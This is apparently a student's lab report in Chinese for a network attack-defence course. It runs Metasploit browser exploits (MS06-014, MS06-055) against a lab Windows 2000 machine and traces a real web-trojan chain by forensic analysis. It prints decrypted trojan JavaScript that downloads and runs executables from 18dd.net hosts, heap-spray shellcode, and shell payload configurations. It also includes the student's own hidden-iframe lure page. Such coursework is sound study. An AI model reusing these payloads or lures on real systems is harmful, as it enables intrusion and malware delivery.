20252904 2025-2026-2 《网络攻防实践》实践十一报告
20252904 2025-2026-2 《网络攻防实践》实践十一报告
1.实践内容
1.1实验要求
浏览器渗透攻击实验
使用攻击机和 Windows 靶机搭建实验环境,借助 Metasploit 框架选择浏览器漏洞模块和远程 Shell Payload,生成恶意网页脚本,并通过靶机访问验证攻击效果。
远程控制验证
在攻击成功后,通过 Metasploit 查看渗透状态,建立 Session 会话,并在靶机上远程执行命令,体验浏览器漏洞被利用后的控制过程。
网页木马取证分析
从 start.html 入手,逐步追踪和解密网页木马加载链,对解密出的文件地址计算 MD5 值并下载对应文件,分析其真实内容。
恶意代码解密与逆向
对网页或脚本文件继续解混淆分析;对二进制程序文件进行静态反汇编或动态调试,逐步还原网页木马的攻击流程。
攻防对抗实践
攻击方构造多个浏览器漏洞利用代码并进行混淆封装,通过欺骗性邮件发送挂马链接;防守方负责提取链接、解混淆、还原代码并分析漏洞目标。
综合能力要求
掌握 Metasploit 浏览器渗透攻击流程,理解网页木马构造原理,熟悉恶意代码取证分析方法,提高浏览器漏洞防范意识和恶意链接识别能力。
1.2相关知识点整理
Metasploit 渗透测试框架
Metasploit 是常用的安全测试框架,可用于选择漏洞利用模块、配置 Payload、生成攻击脚本并建立远程会话。本实验重点在于理解其模块化攻击流程,而不是单纯执行攻击命令。
Web 浏览器漏洞利用原理
浏览器或其插件存在安全漏洞时,攻击者可通过诱导用户访问恶意网页,使漏洞被触发,从而执行恶意代码。该过程体现了客户端漏洞攻击的典型特点,即攻击目标不是服务器,而是访问网页的浏览器端。
网页木马构造与挂马攻击
网页木马通常将恶意脚本隐藏在网页中,通过跳转、加载外部脚本、代码混淆等方式诱导浏览器执行。其核心是利用恶意 URL 或网页内容完成漏洞触发、Payload 加载和后续控制。
Payload 与 Session 会话机制
Payload 是漏洞利用成功后执行的功能代码,例如远程 Shell。攻击成功后,攻击机与靶机之间会建立 Session,会话可用于远程执行命令,体现了漏洞利用从“触发”到“控制”的完整过程。
恶意代码混淆与解混淆分析
攻击者常通过编码、变量替换、字符串拼接、脚本加密等方式隐藏真实代码逻辑。防守方需要通过解码、还原脚本结构和追踪跳转链,分析恶意代码的真实功能和攻击目标。
网页木马取证与逆向分析
取证分析需要从入口文件开始,逐步追踪文件加载关系,并结合 MD5 哈希定位样本文件。对于脚本文件,应重点分析跳转、下载和执行逻辑;对于二进制文件,则可通过静态反汇编或动态调试分析其行为特征。
2.实践过程
2.1web浏览器渗透攻击
首先修改名称

并验证攻击机和靶机IP以及连通性
用Windows 2KServer SP0验证跟kali连通性

通过kali验证win2k连通性

打开Kali的Metasploit,搜索MS06-014渗透攻击模块
msfconsole
search MS06-014

成功匹配到相关攻击模块

选择使用该攻击模块并查看模块配置参数。
use exploit/windows/browser/ie_createobject
show options

设置payload,将 Payload 修改为 普通远程 Shell 的 bind_tcp 连接方式,并进行攻击。
与反向连接不同,bind_tcp 通常是在靶机端开启监听端口,攻击机再连接过去,从而获得远程命令执行能力。
set payload windows/shell/bind_tcp
exploit

攻击开启。

输出了一个URL链接,该链接即是生成的恶意网页包含木马脚本URL,在Win2K靶机上,访问这个网页,看到一串字符串
Using URL: http://192.168.200.10:8080/to9AOCGVpGcd

用sessions命令显示当前存在一个活动会话
sessions

因为刚才对话编号是1,所以选择并交互进入编号为 1 的会话,尝试控制靶机。
sessions -i 1

入侵后,查看IP地址,发现是靶机地址,说明攻击成功,获得靶机权限。

2.2取证分析实践—网页木马攻击场景分析
首先下载学习通中的start.html,根据提示文件中给出了new09.htm的地址。先打开start.html寻找地址。
使用记事本中的编辑进行搜索。找到相关内容。

说明 start.html 会通过隐藏 iframe 自动加载 new09.htm。width="0"、height="0" 表示该 iframe 在网页中不可见。用户正常浏览页面时看不到它,但浏览器会在后台自动请求并加载 new09.htm。

看相对地址应该在同一目录下,因为文件提供只有一个html文件,所以参考一下答案后,可知
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
可得两个地址
http://js.users.51.la/1299644.js
http://aa.18dd.net/aa/kl.htm
按照步骤,对其作 32 位 MD5 散列。可得


| URL | MD5 值 |
|---|---|
| http://js.users.51.la/1299644.js | 23180a42a2ff1192150231b44ffdf3d3 |
| http://aa.18dd.net/aa/kl.htm | 7f60672dcd6b5e90b6772545ee219bd3 |
其次在学习通下载网页挂马分析实践-解压密码virus文件,并打开相应文件。
首先打开第一个

这里面内容是这样的。


这里面的内容是这样的。发现是混淆过的js代码结构,进行分析。

可从文件最后这一句判断:
t = utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
document.write(t);
xxtea_decrypt() 是解密函数,通常形式是:
xxtea_decrypt(密文, 密钥)
所以我们可知密钥被加密,我们尝试解密。使用在线工具:https://lzltool.cn/Toolkit/ConvertStringToHexadecimal可解。

得到结果为script。
这时得到密钥对文件进行解密。在线工具: https://tool.bugku.com/safe/xxtea.php

脚本解密后出现十六进制数。
<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>
通过十六进制转化成字符串可得

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
这段代码主要是检测靶机浏览器环境中的 ActiveX 控件,并根据检测结果加载不同的漏洞利用脚本或下载木马文件。
根据代码,可以提取出以下需要继续分析的文件:
http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab
http://aa.18dd.net/aa/1.js的MD5值:

http://aa.18dd.net/aa/b.js的MD5值:

http://aa.18dd.net/aa/pps.js的MD5值:

http://down.18dd.net/bb/bd.cab的MD5值:

| URL | MD5 |
|---|---|
http://aa.18dd.net/aa/1.js |
5d7e9058a857aa2abee820d5473c5fa4 |
http://aa.18dd.net/aa/b.js |
3870c28cc279d457746b3796a262f166 |
http://aa.18dd.net/aa/pps.js |
5f0b8bf0385314dbe0e5ec95e6abedc2 |
http://down.18dd.net/bb/bd.cab |
1c1d7b3539a617517c49eee4120783b2 |
按照刚才的步骤重复找文件。
1.分析1.js

可得文件内容,这里要把电脑查杀关掉,要不然打不开。

通过十六进制转字符串可得

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close
();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}
可提取网页木马的文件下载地址http://down.18dd.net/bb/014.exe
2.分析b.js

通过询问大模型的方式进行解密可得,Shellcode 中隐藏的下载地址为:
http://down.18dd.net/bb/bf.exe

3.分析pps.js

通过八进制转换为原始文本可得。
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

对Shellcode 进一步还原后,能够识别出的可读字符串和关键含义如下::
GetProcAddress
GetSystemDirectoryA
WinExec
ExitThread
LoadLibraryA
urlmon
URLDownloadToFileA
http://down.18dd.net/bb/pps.exe
可以观察到木马下载地址为
http://down.18dd.net/bb/pps.exe
4.分析bd.cab
发现它是个压缩包重命名它的后缀名后解压得到了4个exe文件:014.exe、bf.exe、pps.exe、bd.exe
找到四个可执行文件:14.exe、bf.exe、pps.exe、bd.exe。使用 md5sum 命令计算文件哈希:
md5sum 14.exe bf.exe pps.exe bd.exe

后三个文件的 MD5 值均为 1290ecd734d68d52318ea9016dc6fe63,说明它们是同一个文件的不同副本。
4.静态分析可执行文件
选择PEID工具分析PPS.EXE。

显示为 Borland Delphi v6.0 - v7.0,无加壳;

而 14.exe 可以顺利使用超级巡警工具脱壳。

使用 IDA Pro Free软件加载 pps.exe,查看字符串窗口,发现以下关键信息

发现大量远程下载地址,说明该样本具有明显的批量下载恶意程序行为,可能属于下载器或木马投递器。同时,样本中还存在 serdst.exe、Wdswsdewn、“IE 执行保护”、#32770 等可疑字符串,表明其可能具有文件释放、伪装、窗口操作或环境判断等行为。

可能具备自启动传播、注册表策略修改、浏览器进程伪装或注入等行为。同时,IE执行保护、允许执行、确定 等字符串表明其可能通过伪装安全提示诱导用户操作。
2.3攻防对抗实践 —— Web 浏览器渗透攻击攻防
1.单独验证 MS06-055 漏洞模块
连通性测试,攻防环境如下,确保二者能够ping通
| 角色 | 系统 | IP 地址 |
|---|---|---|
| 攻击方 | Kali-zjy | 192.168.200.10 |
| 防守方 | Windows 2KServer SP0 | 192.168.200.13 |


验证第一个漏洞 MS06-055
在 Kali 中启动 Metasploit:
msfconsole -q

清理旧任务和旧会话,避免影响实验结果:
jobs -K
sessions -K

配置 MS06-055:
use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.200.10
set LPORT 4455
set ExitOnSession false
set VERBOSE true
show options
含义是攻击机在 8081 端口启动一个针对 MS06-055 漏洞的恶意网页服务,访问路径为 /ms06055;当 Windows 靶机使用存在漏洞的 IE 浏览器访问该 URL 时,漏洞可能被触发,并执行 windows/shell/reverse_tcp,从而让靶机反向连接到攻击机 192.168.200.10:4455,建立远程 Shell 会话。

run -j
启动后,URL为http://192.168.200.10:8081/ms06055

然后在 Windows 靶机 IE 里访问:
http://192.168.200.10:8081/ms06055

当防守方登录网址时,攻击方这里取得信息。说明 MS06-055 VML 浏览器漏洞利用已经成功触发,并成功建立了远程 Shell 会话。

回到 Metasploit 查看 session:
sessions -l

出现 session, ID 是 1:
sessions -i 1
跟实验一一致,进入防守方内部获得权限。

用ipconfig进行地址验证。发现地址是192.168.200.13验证成功。

2.单独验证第二个漏洞 MS06-014
跟一开始相同,在 Metasploit 中清理旧任务和 session,确保之前实验不影响本次实验,或者关机重启都可:
jobs -K
sessions -K

配置 MS06-014:
use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.200.10
set LPORT 5544
set ExitOnSession false
set VERBOSE true
show options

run -j

启动后,MS06-014 的恶意 URL 是:
http://192.168.200.10:8082/ms06014
同样用防守方进行访问。

ADBCgKhEMLJCmKcTiOMORlLq
3.创建两种以上漏洞模块
启动 Metasploit:
msfconsole -q

开启两个漏洞的步骤跟上面单独验证的步骤是一样的,直接跳过过程。
都打开后,查看漏洞情况:
jobs -v

做一个统一入口页,把两个漏洞 URL 组合到一个页面中。
先启动 Apache:
sudo systemctl start apache2
sudo systemctl enable apache2

创建目录:
sudo mkdir -p /var/www/html/browser_lab

创建入口页面:
sudo nano /var/www/html/browser_lab/index.html
写入以下内容:
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>browser lab</title>
<style>
body {
font-family: "Microsoft YaHei", Arial, sans-serif;
text-align: center;
margin-top: 120px;
background-color: #f5f7fa;
}
h1 {
color: #1f3c88;
font-size: 32px;
}
p {
color: #555;
font-size: 18px;
}
.hiddenFrame {
position: absolute;
left: -9999px;
top: -9999px;
width: 1px;
height: 1px;
}
</style>
</head>
<body onload="startTest()">
<h1>进入网页测试漏洞界面</h1>
<p>20252904 张峻源</p>
<iframe id="f1" class="hiddenFrame"></iframe>
<iframe id="f2" class="hiddenFrame"></iframe>
<script>
var url1 = "687474703a2f2f3139322e3136382e3230302e31303a383038312f6d733036303535";
var url2 = "687474703a2f2f3139322e3136382e3230302e31303a383038322f6d733036303134";
function startTest() {
setTimeout(function() {
document.getElementById("f1").src = url1;
}, 1000);
setTimeout(function() {
document.getElementById("f2").src = url2;
}, 6000);
}
</script>
</body>
</html>

保存后,统一入口 URL 为:
http://192.168.200.10/browser_lab/index.html
靶机访问并验证攻击结果
设计一个仿真邮件,这里比较简陋。测试用的,直接给出链接。

根据链接,在 Windows 靶机浏览器中访问:
http://192.168.200.10/browser_lab/index.html

然后回到 Kali 的 Metasploit,查看是否建立会话:
sessions -l

查看是否成功
sessions -l

进入会话:
sessions -i 1

执行简单验证命令:
hostname
ipconfig
whoami

这时攻击方成功获取防守方的权限。
我们查看防守方视角:
防守方发现打开链接后自己的权限可能被人获取,查看抓包日志观察情况:

截图中可以看到 HTTP 请求:
GET /ms06014 HTTP/1.1
通信双方是:
192.168.200.13 → 192.168.200.10:8082
其中 192.168.200.13 是 Windows 靶机,192.168.200.10 是 Kali 攻击机,这说明防守方自己点击链接后已经访问了攻击机提供的漏洞页面。
并且出现反向 Shell 连接端口 5544
后面可以看到新的 TCP 连接:
192.168.200.13:1251 → 192.168.200.10:5544
而 5544 正是攻击方给 MS06-014 配置的反向 Shell 监听端口。这个连接方向是从靶机主动连回攻击机,符合 windows/shell/reverse_tcp 的特征。

并且后续进行了会话。既然如此我们查看原因,通过原链接打开页面后,查看网页源代码:

对源码中的字符串拼接代码进行还原。源码中查看到有两个十六进制编码,可能是漏洞链接:
var url1 = "687474703a2f2f3139322e3136382e3230302e31303a383038312f6d733036303535";
var url2 = "687474703a2f2f3139322e3136382e3230302e31303a383038322f6d733036303134";
将这些字符串片段转换后,恢复出真实访问地址:
http://192.168.200.10:8082/ms06014
http://192.168.200.10:8081/ms06055
整理还原后的真实攻击入口
解混淆后可知,邮件中的单一链接实际上会进一步加载两个 Metasploit 漏洞利用页面:
第一条:http://192.168.200.10:8082/ms06014
第二条:http://192.168.200.10:8083/ms06055
这说明攻击方将多个浏览器漏洞利用页面封装到一个统一入口 URL 中,试图降低防守方对真实攻击目标的识别难度。
也就是受到了ms06014,ms06055两个Internet Explorer 浏览器客户端漏洞。
| 漏洞编号 | 简要说明 | 攻击目标 | 实验中对应模块 |
|---|---|---|---|
| MS06-014 | Internet Explorer 中与 COM/ActiveX 对象创建相关的代码执行漏洞。攻击者可构造恶意网页,利用浏览器对特定 COM 对象的不安全调用执行恶意代码。 | 旧版本 IE 浏览器、ActiveX/COM 组件 | exploit/windows/browser/ie_createobject |
| MS06-055 | Internet Explorer 的 VML 组件漏洞,主要与 VML Fill Method 处理异常数据有关。攻击者可通过恶意网页触发漏洞,实现远程代码执行。 | 旧版本 IE 浏览器、VML 组件 | exploit/windows/browser/ms06_055_vml_method |
攻防实验分析完成!
3.学习中遇到的问题及解决
- 问题1:bd.cab压缩包解压失败,被安全中心限制操作。
- 问题1解决方案:这里要把电脑的实时保护短暂关闭,要不然解压之后会删除文件,而且不允许任何操作。

- 问题2:一开始以为无法同时启用两个客户端漏洞
- 问题2解决方案:直接在msfconsole中输入命令就可以了。
4.实践总结
这个实验我觉得是最具有设计性的,尤其是后面设计一个欺骗性的电子邮件发送给对方。让我想起以前看到钓鱼邮件差不多的性质,让我从设计原理到真实实践做了一遍之后,真的是收获满满。让我知道如何使用metasploit进行渗透攻击方法。并且熟悉了恶意网页生成、Payload 配置、靶机访问触发以及远程 Shell 会话建立的基本流程。在取证分析部分,通过查看网页源码、提取隐藏链接、解混淆脚本和分析二进制样本,理解了网页木马的加载链和下载执行逻辑。也掌握了从网络流量、源码和日志中识别攻击行为的基本方法。后面如果真的遇到这样的情况我也知道应该怎么分析了!
浙公网安备 33010602011771号